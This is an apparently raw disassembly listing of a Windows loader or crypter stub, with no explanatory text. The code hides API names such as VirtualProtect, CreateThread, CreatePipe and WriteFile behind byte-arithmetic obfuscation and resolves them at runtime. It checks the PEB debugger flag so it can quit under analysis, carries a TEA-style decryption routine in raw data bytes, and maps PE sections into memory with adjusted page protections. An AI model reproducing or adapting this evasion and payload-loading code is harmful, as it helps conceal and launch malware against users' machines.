		dd 0C483FFFFh, 0F045890Ch, 50EC458Bh, 58F075FFh, 8958C88Bh
		dd 0EC458B08h, 8904C083h, 458BEC45h, 4C083F4h, 0E9F44589h
		dd 0FFFFFF74h, 83FC458Bh, 458914C0h, 0FEFFE9FCh, 0C3C9FFFFh
		dd 835D5455h, 45C71CECh, 3779B9E4h, 0F445C79Eh,	20h, 580875FFh
		dd 895830FFh, 75FFF845h, 408B5808h, 0EC458904h,	0C1E4458Bh
		dd 458905E0h, 0F475FFE8h, 0F44D8B58h, 0F44D8949h, 860FC085h
		dd 86h,	0C1F8458Bh, 458904E0h, 0F875FFFCh, 5E8C158h, 8BF04589h
		dd 4D8B0C45h, 84803FCh,	3F8458Bh, 0C833E845h, 580C75FFh
		dd 5AF075FFh, 330C5003h, 0EC75FFCAh, 89C12B58h,	75FFEC45h
		dd 0E0C158ECh, 0FC458904h, 0C1EC458Bh, 458905E8h, 0C458BF0h
		dd 0FC75FF50h, 58C88B58h, 75FF0803h, 450358ECh,	8BC833E8h
		dd 75FF0C45h, 50035AF0h, 8BCA3304h, 0C12BF845h,	0FFF84589h
		dd 2B58E875h, 4589E445h, 0FF67E9E8h, 458BFFFFh,	0EC75FF08h
		dd 4488959h, 580875FFh,	89F84D8Bh
		db 8, 0C9h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_417BEF	proc near		; CODE XREF: sub_417C82+49p
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	ecx
		and	dword ptr [ebp-8], 0
		and	dword ptr [ebp-4], 0


loc_417BFC:				; CODE XREF: sub_417BEF+43j
		push	0
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp+10h]
		pop	eax
		sub	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		add	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_417EA4
		test	eax, eax
		jnz	short loc_417C23
		xor	al, al
		jmp	short locret_417C38
; ---------------------------------------------------------------------------


loc_417C23:				; CODE XREF: sub_417BEF+2Ej
		mov	eax, [ebp-4]
		add	eax, [ebp-8]
		mov	[ebp-4], eax
		mov	eax, [ebp-8]
		cmp	eax, [ebp+10h]
		jnz	short loc_417BFC
		mov	al, 0
		add	al, 1

locret_417C38:				; CODE XREF: sub_417BEF+32j
		leave
		retn
sub_417BEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3A	proc near		; CODE XREF: sub_417C82+2Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0


loc_417C47:				; CODE XREF: sub_417C3A+42j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		pop	eax
		sub	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_417EA8
		test	eax, eax
		jnz	short loc_417C6D
		xor	al, al
		jmp	short locret_417C80
; ---------------------------------------------------------------------------


loc_417C6D:				; CODE XREF: sub_417C3A+2Dj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_417C47
		mov	al, 1

locret_417C80:				; CODE XREF: sub_417C3A+31j
		leave
		retn
sub_417C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C82	proc near		; CODE XREF: .data:00417E1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_417C95
; ---------------------------------------------------------------------------


loc_417C8C:				; CODE XREF: sub_417C82+51j
		push	[ebp+var_4]
		pop	eax
		inc	eax
		inc	eax
		mov	[ebp+var_4], eax


loc_417C95:				; CODE XREF: sub_417C82+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_417CD5
		push	8
		push	[ebp+var_4]
		pop	eax
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		call	sub_417C3A
		add	esp, 0Ch
		push	8
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		pop	ecx
		lea	eax, [ecx+eax*4]
		push	eax
		push	[ebp+arg_0]
		pop	eax
		push	dword ptr [eax]
		call	sub_417BEF
		add	esp, 0Ch
		jmp	short loc_417C8C
; ---------------------------------------------------------------------------

locret_417CD5:				; CODE XREF: sub_417C82+19j
		leave
		retn
sub_417C82	endp

; ---------------------------------------------------------------------------
		db 55h
		dd 0EC835D54h, 8458B0Ch, 6AF44589h, 0F8458D08h,	0F4458B50h
		dd 0FCE830FFh, 83FFFFFEh, 0B60F0CC4h, 74C085C0h, 7E7E6827h
		dd 458D0041h, 5E850F8h,	59FFFFFEh, 8D086A59h, 0FF50F845h
		dd 0FF58F475h, 1BE80470h, 83FFFFFFh, 0BFEB0CC4h, 0C2C9C033h
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_417D2A	proc near		; CODE XREF: .data:00417E29p
					; .data:00417E33p
		push	ebp
		push	esp
		pop	ebp
		mov	eax, [ebp+8]
		push	dword ptr [eax]
		call	dword_417E98
		mov	eax, [ebp+8]
		push	dword ptr [eax+4]
		call	dword_417E98
		pop	ebp
		retn
sub_417D2A	endp

; ---------------------------------------------------------------------------


loc_417D46:				; CODE XREF: .data:00417EF8p
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 48h
		call	sub_417F10
		mov	[ebp-4], eax
		push	dword ptr [ebp-4]
		pop	eax
		push	dword ptr [eax+30h]
		pop	eax
		mov	[ebp-30h], eax
		mov	eax, [ebp-30h]
		movzx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	short loc_417D6F
		jmp	locret_417EF3
; ---------------------------------------------------------------------------


loc_417D6F:				; CODE XREF: .data:00417D68j
		mov	dword_417E7E, 65Bh
		add	dword_417E7E, 70A9h
		mov	dword_417E82, 0DBDh
		add	dword_417E82, 2358h
		mov	dword_417E86, 1791h
		call	sub_418150
		mov	dword_417E8A, 1785h
		push	10h
		push	0
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword_417EA0
		test	eax, eax
		jnz	short loc_417DCB
		jmp	locret_417EF3
; ---------------------------------------------------------------------------


loc_417DCB:				; CODE XREF: .data:00417DC4j
		push	10h
		push	0
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		call	dword_417EA0
		test	eax, eax
		jnz	short loc_417DE6
		jmp	locret_417EF3
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: .data:00417DDFj
		lea	eax, [ebp-8]
		push	eax
		push	0
		lea	eax, [ebp-38h]
		push	eax
		push	offset byte_3E1437
		push	0
		push	0
		call	off_417E9C
		mov	[ebp-3Ch], eax
		call	dword_3E3010
		mov	[ebp-10h], eax
		mov	eax, dword_3ECAD7
		shr	eax, 2
		push	eax
		push	offset loc_3E4000
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_417C82
		add	esp, 0Ch
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_417D2A
		pop	ecx
		lea	eax, [ebp-38h]
		push	eax
		call	sub_417D2A
		pop	ecx
		push	dword ptr [ebp-3Ch]
		call	dword_417E98
		call	dword_3E3010
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	dword_3E300C
		movzx	eax, word ptr [ebp-26h]
		cmp	eax, 64h
		jle	short loc_417E63
		jmp	locret_417EF3
; ---------------------------------------------------------------------------


loc_417E63:				; CODE XREF: .data:00417E5Cj
		push	offset loc_3E4000
		call	sub_4178A0
		pop	ecx
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jz	short locret_417EF3
		push	dword ptr [ebp-14h]
		pop	eax
		mov	eax, [eax+34h]
; ---------------------------------------------------------------------------
dword_417E7E	dd 0FFBC4589h						; sub_3E5546+33w ...
dword_417E82	dd 0FF58EC75h						; sub_3E5546+47w ...
dword_417E86	dd 75FF5470h						; .data:00417D97w
dword_417E8A	dd 400068BCh						; .data:00417DA6w
		dw 3Eh
dword_417E90	dd 0FFFA29E8h						; sub_3E58BA+8Ar ...
dword_417E94	dd 0CC483FFh						; sub_418150+359w
dword_417E98	dd 68BC75FFh						; sub_3E552A+14r ...
off_417E9C	dd offset loc_3E4000	; DATA XREF: sub_3E5546+B3r
					; sub_3E5950+37Dw ...
dword_417EA0	dd 0E8EC75FFh						; sub_3E5546+91r ...
dword_417EA4	dd 78h							; sub_3E5950+3A1w ...
dword_417EA8	dd 0FF0CC483h						; sub_3E5950+3B3w ...
		dd 0EDE8BC75h, 59FFFFF9h, 83C04589h, 7400C07Dh,	0BC75FF36h
		dd 0E8C075FFh, 0FFFFFB0Eh, 75FF5959h, 0C075FFBCh, 1E5E8h
		dd 0FF595900h, 0FF58D075h, 8959BC75h, 75FF0848h, 75FF58ECh
		dd 480359BCh, 0B84D8928h
		db 0FFh, 55h, 0B8h
; ---------------------------------------------------------------------------

locret_417EF3:				; CODE XREF: .data:00417D6Aj
					; .data:00417DC6j ...
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	loc_417D46
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F10	proc near		; CODE XREF: .data:00417D4Cp
		push	ebp
		mov	ebp, esp
		push	large dword ptr	fs:18h
		pop	eax
		pop	ebp
		retn
sub_417F10	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [ebp+8]
		add	eax, 0F8h
		mov	[ebp-0Ch], eax
		push	dword ptr [ebp+8]
		pop	eax
		mov	ax, [eax+6]
		mov	[ebp-8], ax
		push	dword ptr [ebp-0Ch]
		pop	eax
		mov	[ebp-4], eax
		and	word ptr [ebp-10h], 0
		jmp	short loc_417F57
; ---------------------------------------------------------------------------


loc_417F4B:				; CODE XREF: .data:00417FE9j
		mov	ax, [ebp-10h]
		add	ax, 1
		mov	[ebp-10h], ax


loc_417F57:				; CODE XREF: .data:00417F49j
		movzx	eax, word ptr [ebp-10h]
		movzx	ecx, word ptr [ebp-8]
		cmp	eax, ecx
		jge	locret_417FEE
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		push	dword ptr [ebp-4]
		pop	ecx
		push	dword ptr [eax+ecx+8]
		pop	eax
		mov	[ebp-24h], eax
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		push	dword ptr [ebp-4]
		pop	ecx
		push	dword ptr [eax+ecx+10h]
		pop	eax
		mov	[ebp-14h], eax
		push	dword ptr [ebp-24h]
		pop	eax
		cmp	eax, [ebp-14h]
		jnb	short loc_417F9E
		mov	eax, [ebp-24h]
		mov	[ebp-28h], eax
		jmp	short loc_417FA4
; ---------------------------------------------------------------------------


loc_417F9E:				; CODE XREF: .data:00417F94j
		mov	eax, [ebp-14h]
		mov	[ebp-28h], eax


loc_417FA4:				; CODE XREF: .data:00417F9Cj
		mov	eax, [ebp-28h]
		mov	[ebp-18h], eax
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		mov	ecx, [ebp-4]
		push	dword ptr [ebp+10h]
		pop	edx
		add	edx, [eax+ecx+0Ch]
		mov	[ebp-1Ch], edx
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		mov	ecx, [ebp-4]
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	edx, eax
		pop	eax
		add	edx, [eax+ecx+14h]
		mov	[ebp-20h], edx
		push	dword ptr [ebp-18h]
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		call	sub_4186BA
		add	esp, 0Ch
		jmp	loc_417F4B
; ---------------------------------------------------------------------------

locret_417FEE:				; CODE XREF: .data:00417F61j
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_417FF0	proc near		; CODE XREF: .data:00418137p
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		and	eax, 4000000h
		jz	short loc_41800D
		mov	eax, [ebp-4]
		or	eax, 200h
		mov	[ebp-4], eax


loc_41800D:				; CODE XREF: sub_417FF0+10j
		mov	eax, [ebp+8]
		and	eax, 20000000h
		jz	short loc_418068
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 40000000h
		jz	short loc_418044
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 80000000h
		jz	short loc_418038
		mov	eax, [ebp-4]
		or	eax, 40h
		mov	[ebp-4], eax
		jmp	short loc_418042
; ---------------------------------------------------------------------------


loc_418038:				; CODE XREF: sub_417FF0+3Bj
		push	dword ptr [ebp-4]
		pop	eax
		or	eax, 20h
		mov	[ebp-4], eax


loc_418042:				; CODE XREF: sub_417FF0+46j
		jmp	short loc_418066
; ---------------------------------------------------------------------------


loc_418044:				; CODE XREF: sub_417FF0+30j
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 80000000h
		jz	short loc_41805D
		push	dword ptr [ebp-4]
		pop	eax
		or	eax, 80h
		mov	[ebp-4], eax
		jmp	short loc_418066
; ---------------------------------------------------------------------------


loc_41805D:				; CODE XREF: sub_417FF0+5Dj
		mov	eax, [ebp-4]
		or	eax, 10h
		mov	[ebp-4], eax


loc_418066:				; CODE XREF: sub_417FF0:loc_418042j
					; sub_417FF0+6Bj
		jmp	short loc_4180B4
; ---------------------------------------------------------------------------


loc_418068:				; CODE XREF: sub_417FF0+25j
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 40000000h
		jz	short loc_418094
		mov	eax, [ebp+8]
		and	eax, 80000000h
		jz	short loc_418089
		push	dword ptr [ebp-4]
		pop	eax
		or	eax, 4
		mov	[ebp-4], eax
		jmp	short loc_418092
; ---------------------------------------------------------------------------


loc_418089:				; CODE XREF: sub_417FF0+8Bj
		mov	eax, [ebp-4]
		or	eax, 2
		mov	[ebp-4], eax


loc_418092:				; CODE XREF: sub_417FF0+97j
		jmp	short loc_4180B4
; ---------------------------------------------------------------------------


loc_418094:				; CODE XREF: sub_417FF0+81j
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 80000000h
		jz	short loc_4180AA
		mov	eax, [ebp-4]
		or	eax, 8
		mov	[ebp-4], eax
		jmp	short loc_4180B4
; ---------------------------------------------------------------------------


loc_4180AA:				; CODE XREF: sub_417FF0+ADj
		push	dword ptr [ebp-4]
		pop	eax
		or	eax, 1
		mov	[ebp-4], eax


loc_4180B4:				; CODE XREF: sub_417FF0:loc_418066j
					; sub_417FF0:loc_418092j ...
		push	dword ptr [ebp-4]
		pop	eax
		leave
		retn
sub_417FF0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	dword ptr [ebp+8]
		pop	eax
		add	eax, 0F8h
		mov	[ebp-0Ch], eax
		push	dword ptr [ebp+8]
		pop	eax
		mov	ax, [eax+6]
		mov	[ebp-8], ax
		mov	eax, [ebp-0Ch]
		mov	[ebp-4], eax
		and	word ptr [ebp-10h], 0
		jmp	short loc_4180F1
; ---------------------------------------------------------------------------


loc_4180E5:				; CODE XREF: .data:0041814Aj
		mov	ax, [ebp-10h]
		add	ax, 1
		mov	[ebp-10h], ax


loc_4180F1:				; CODE XREF: .data:004180E3j
		movzx	eax, word ptr [ebp-10h]
		movzx	ecx, word ptr [ebp-8]
		cmp	eax, ecx
		jge	short locret_41814C
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		push	dword ptr [ebp-4]
		pop	ecx
		push	dword ptr [ebp+0Ch]
		pop	edx
		add	edx, [eax+ecx+0Ch]
		mov	[ebp-18h], edx
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		mov	ecx, [ebp-4]
		push	dword ptr [eax+ecx+8]
		pop	eax
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-14h]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		mov	ecx, [ebp-4]
		push	dword ptr [eax+ecx+24h]
		call	sub_417FF0
		pop	ecx
		push	eax
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-18h]
		call	dword_417E90
		jmp	short loc_4180E5
; ---------------------------------------------------------------------------

locret_41814C:				; CODE XREF: .data:004180FBj
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0CCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418150	proc near		; CODE XREF: .data:00417DA1p

var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= byte ptr -66h
var_65		= byte ptr -65h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_61		= byte ptr -61h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_5D		= byte ptr -5Dh
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= byte ptr -5Ah
var_58		= byte ptr -58h
var_57		= byte ptr -57h
var_56		= byte ptr -56h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_42		= byte ptr -42h
var_41		= byte ptr -41h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_33		= byte ptr -33h
var_32		= byte ptr -32h
var_31		= byte ptr -31h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	offset dword_3E3070
		call	dword_3E3008
		mov	[ebp+var_10], eax
		mov	[ebp+var_68], 4Ch
		add	[ebp+var_68], 0Bh
		mov	[ebp+var_67], 6Ah
		mov	[ebp+var_66], 73h
		mov	[ebp+var_65], 75h
		mov	[ebp+var_64], 76h
		mov	[ebp+var_63], 62h
		mov	[ebp+var_62], 6Dh
		mov	[ebp+var_61], 51h
		mov	[ebp+var_60], 73h
		mov	[ebp+var_5F], 70h
		mov	[ebp+var_5E], 75h
		mov	[ebp+var_5D], 52h
		add	[ebp+var_5D], 14h
		mov	[ebp+var_5C], 41h
		add	[ebp+var_5C], 23h
		mov	[ebp+var_5B], 75h
		mov	[ebp+var_5A], 0
		mov	[ebp+var_48], 1Ch
		add	[ebp+var_48], 2Ch
		mov	[ebp+var_47], 63h
		add	[ebp+var_47], 3
		mov	[ebp+var_46], 1
		add	[ebp+var_46], 74h
		mov	[ebp+var_45], 4Eh
		mov	[ebp+var_44], 5
		add	[ebp+var_44], 6Bh
		mov	[ebp+var_43], 47h
		add	[ebp+var_43], 1Eh
		mov	[ebp+var_42], 5Ch
		add	[ebp+var_42], 1Ah
		mov	[ebp+var_41], 5Ch
		add	[ebp+var_41], 11h
		mov	[ebp+var_40], 66h
		mov	[ebp+var_3F], 29h
		add	[ebp+var_3F], 20h
		mov	[ebp+var_3E], 62h
		mov	[ebp+var_3D], 38h
		add	[ebp+var_3D], 37h
		mov	[ebp+var_3C], 65h
		mov	[ebp+var_3B], 6Dh
		mov	[ebp+var_3A], 66h
		mov	[ebp+var_39], 42h
		mov	[ebp+var_38], 0
		mov	[ebp+var_28], 44h
		mov	[ebp+var_27], 5Bh
		add	[ebp+var_27], 12h
		mov	[ebp+var_26], 70h
		mov	[ebp+var_25], 74h
		mov	[ebp+var_24], 66h
		mov	[ebp+var_23], 1Ah
		add	[ebp+var_23], 2Fh
		mov	[ebp+var_22], 62h
		mov	[ebp+var_21], 67h
		add	[ebp+var_21], 8
		mov	[ebp+var_20], 65h
		mov	[ebp+var_1F], 6Dh
		mov	[ebp+var_1E], 0Ah
		add	[ebp+var_1E], 5Ch
		mov	[ebp+var_1D], 0
		mov	[ebp+var_58], 44h
		mov	[ebp+var_57], 61h
		add	[ebp+var_57], 12h
		mov	[ebp+var_56], 66h
		mov	[ebp+var_55], 0
		add	[ebp+var_55], 62h
		mov	[ebp+var_54], 30h
		add	[ebp+var_54], 45h
		mov	[ebp+var_53], 66h
		mov	[ebp+var_52], 55h
		mov	[ebp+var_51], 1Eh
		add	[ebp+var_51], 4Bh
		mov	[ebp+var_50], 16h
		add	[ebp+var_50], 5Dh
		mov	[ebp+var_4F], 58h
		add	[ebp+var_4F], 0Eh
		mov	[ebp+var_4E], 62h
		mov	[ebp+var_4D], 65h
		mov	[ebp+var_4C], 0
		mov	[ebp+var_1C], 0
		add	[ebp+var_1C], 44h
		mov	[ebp+var_1B], 73h
		mov	[ebp+var_1A], 0Eh
		add	[ebp+var_1A], 58h
		mov	[ebp+var_19], 62h
		mov	[ebp+var_18], 64h
		add	[ebp+var_18], 11h
		mov	[ebp+var_17], 66h
		mov	[ebp+var_16], 1Ah
		add	[ebp+var_16], 37h
		mov	[ebp+var_15], 51h
		add	[ebp+var_15], 19h
		mov	[ebp+var_14], 4Fh
		add	[ebp+var_14], 22h
		mov	[ebp+var_13], 66h
		mov	[ebp+var_12], 0
		mov	[ebp+var_34], 53h
		mov	[ebp+var_33], 66h
		mov	[ebp+var_32], 5Dh
		add	[ebp+var_32], 5
		mov	[ebp+var_31], 57h
		add	[ebp+var_31], 0Eh
		mov	[ebp+var_30], 6
		add	[ebp+var_30], 41h
		mov	[ebp+var_2F], 67h
		add	[ebp+var_2F], 3
		mov	[ebp+var_2E], 6Dh
		mov	[ebp+var_2D], 66h
		mov	[ebp+var_2C], 0
		mov	[ebp+var_C], 58h
		mov	[ebp+var_B], 73h
		mov	[ebp+var_A], 30h
		add	[ebp+var_A], 3Ah
		mov	[ebp+var_9], 38h
		add	[ebp+var_9], 3Dh
		mov	[ebp+var_8], 45h
		add	[ebp+var_8], 21h
		mov	[ebp+var_7], 26h
		add	[ebp+var_7], 21h
		mov	[ebp+var_6], 5Eh
		add	[ebp+var_6], 0Ch
		mov	[ebp+var_5], 6Bh
		add	[ebp+var_5], 2
		mov	[ebp+var_4], 2
		add	[ebp+var_4], 64h
		mov	[ebp+var_3], 0
		lea	eax, [ebp+var_68]
		mov	[ebp+var_6C], eax


loc_418365:				; CODE XREF: sub_418150+235j
		push	[ebp+var_6C]
		pop	eax
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_418387
		push	[ebp+var_6C]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp+var_6C]
		mov	[ecx], al
		push	[ebp+var_6C]
		pop	eax
		inc	eax
		mov	[ebp+var_6C], eax
		jmp	short loc_418365
; ---------------------------------------------------------------------------


loc_418387:				; CODE XREF: sub_418150+21Ej
		lea	eax, [ebp+var_48]
		mov	[ebp+var_70], eax


loc_41838D:				; CODE XREF: sub_418150+25Cj
		mov	eax, [ebp+var_70]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4183AE
		push	[ebp+var_70]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp+var_70]
		mov	[ecx], al
		push	[ebp+var_70]
		pop	eax
		inc	eax
		mov	[ebp+var_70], eax
		jmp	short loc_41838D
; ---------------------------------------------------------------------------


loc_4183AE:				; CODE XREF: sub_418150+245j
		lea	eax, [ebp+var_28]
		mov	[ebp+var_74], eax


loc_4183B4:				; CODE XREF: sub_418150+288j
		push	[ebp+var_74]
		pop	eax
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4183DA
		push	[ebp+var_74]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		push	eax
		push	[ebp+var_74]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[ecx], al
		mov	eax, [ebp+var_74]
		inc	eax
		mov	[ebp+var_74], eax
		jmp	short loc_4183B4
; ---------------------------------------------------------------------------


loc_4183DA:				; CODE XREF: sub_418150+26Dj
		lea	eax, [ebp+var_58]
		mov	[ebp+var_78], eax


loc_4183E0:				; CODE XREF: sub_418150+2AFj
		mov	eax, [ebp+var_78]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_418401
		push	[ebp+var_78]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		push	[ebp+var_78]
		pop	ecx
		mov	[ecx], al
		mov	eax, [ebp+var_78]
		inc	eax
		mov	[ebp+var_78], eax
		jmp	short loc_4183E0
; ---------------------------------------------------------------------------


loc_418401:				; CODE XREF: sub_418150+298j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_7C], eax


loc_418407:				; CODE XREF: sub_418150+2DBj
		mov	eax, [ebp+var_7C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_41842D
		push	[ebp+var_7C]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		push	eax
		push	[ebp+var_7C]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[ecx], al
		push	[ebp+var_7C]
		pop	eax
		inc	eax
		mov	[ebp+var_7C], eax
		jmp	short loc_418407
; ---------------------------------------------------------------------------


loc_41842D:				; CODE XREF: sub_418150+2BFj
		lea	eax, [ebp+var_34]
		mov	[ebp+var_80], eax


loc_418433:				; CODE XREF: sub_418150+300j
		mov	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_418452
		mov	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp+var_80]
		mov	[ecx], al
		mov	eax, [ebp+var_80]
		inc	eax
		mov	[ebp+var_80], eax
		jmp	short loc_418433
; ---------------------------------------------------------------------------


loc_418452:				; CODE XREF: sub_418150+2EBj
		lea	eax, [ebp+var_C]
		mov	[ebp+var_84], eax


loc_41845B:				; CODE XREF: sub_418150+338j
		mov	eax, [ebp+var_84]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_41848A
		push	[ebp+var_84]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp+var_84]
		mov	[ecx], al
		mov	eax, [ebp+var_84]
		inc	eax
		mov	[ebp+var_84], eax
		jmp	short loc_41845B
; ---------------------------------------------------------------------------


loc_41848A:				; CODE XREF: sub_418150+316j
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417E90, eax
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417E94, eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417E98, eax
		lea	eax, [ebp+var_58]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	off_417E9C, eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417EA0, eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417EA4, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417EA8, eax
		leave
		retn
sub_418150	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 0CCCCCCCCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 41h
		jl	short loc_418527
		cmp	dword ptr [ebp+8], 5Ah
		jg	short loc_418527
		mov	eax, [ebp+8]
		add	eax, 20h
		jmp	short loc_41852A
